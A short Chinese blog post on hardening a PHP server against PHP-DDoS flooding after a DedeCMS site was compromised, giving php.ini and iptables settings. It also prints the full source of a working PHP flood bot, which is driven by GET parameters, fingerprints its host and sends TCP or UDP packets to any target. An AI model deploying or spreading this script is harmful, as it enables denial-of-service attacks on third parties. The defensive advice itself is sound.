预防PHP-DDOS发包
前几天有台香港服务器上的DEDE用户被入侵了,植入了PHP-DDOS发包代码,影响了网络,导致同服务器用户网站都无法正常访问。这段代码是用fsockopen函数请求外部,我们可以禁止这个函数。
php.ini
搜索:disable_functions
在后面加上:fsockopen
allow_url_fopen = Off
ignore_user_abort = On
以及把
extension=php_sockets.dll
改成
;extension=php_sockets.dll
保存退出,重启 Apache。
然后利用iptables,禁本机对外发送UDP包
iptables -A INPUT -p tcp -m tcp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT iptables -A INPUT -p udp -m udp --sport 53 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT iptables -A OUTPUT -p tcp -m tcp --sport 1024:65535 -d 8.8.4.4 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -p udp -m udp --sport 1024:65535 -d 8.8.8.8 --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -p udp -j REJECT
以上就可以防止PHP-DDOS发包了,但是可能会使一些PHP程序异常,比如DZ需要fsockopen函数发信等。但都有解决办法,可以把fsockopen函数,替换为:pfsockopen,就基本可以解决所有问题了。
一段PHPDDOS代码,完成以上操作后,可以试试能否运行成功。
<?php error_reporting(0);//禁用错误报告 set_time_limit(0);//配置该页最久执行时间。 0为永久执行 ignore_user_abort(false); //设置与客户机断开是否会终止脚本的执行。 /*get参数*/ $type = $_GET['type']; //攻击方式 0为TCP 1为UDP $host = $_GET['host']; //攻击目标 $port = $_GET['port']; //攻击端口 $exec_time = $_GET['time']; //持续时间 $Sendlen = $_GET['size']; //发送数据长度 如果为0则使用自定义数据包 $data = $_GET['data']; //自定义数据包 最大为1024KB 格式为URL编码 $data = urldecode($data); //URL解码后的字符串 $count = $_GET['count']; //限制发包次数 0为不限制然后只能通过时间控制 /*end*/ if (function_exists('fsockopen')){$test="1";}else{$test="0";}//fsockopen是否能用 //检测服务器信息 返回格式 [标识符]函数状态|主机名|脚本名|服务器信息|结译引擎[标识符] if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$test."|".$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER ['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "error"; exit; } $byte = 0;//记录发包次数 $max_time = time()+$exec_time;//设置结束时间 if($Sendlen!=0){ for($i=0;$i<$Sendlen;$i++){$out .= "X";}//构造指定长度数据包 }else{ $out = $data; //设置为自定义数据包 } //死循环发送数据 while(1){ if(time() > $max_time){break;}//时间到了就跳出循环 //判断攻击方式 if($type==1) { $fp = fsockopen("tcp://$host", $port, $errno, $errstr, 5);//打开TCP连接 } else { $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);//打开UDP连接 } if($fp){ //如果连接成功 fwrite($fp, $out); //发送数据 fclose($fp); //关闭连接 } $byte++;//发包次数加1 if((int)$count!=0){ if($byte > (int)$count){break;}//发包次数大于设置的就跳出循环 } } ?>
突然想知道怎么发包的。
Google下,挺多的~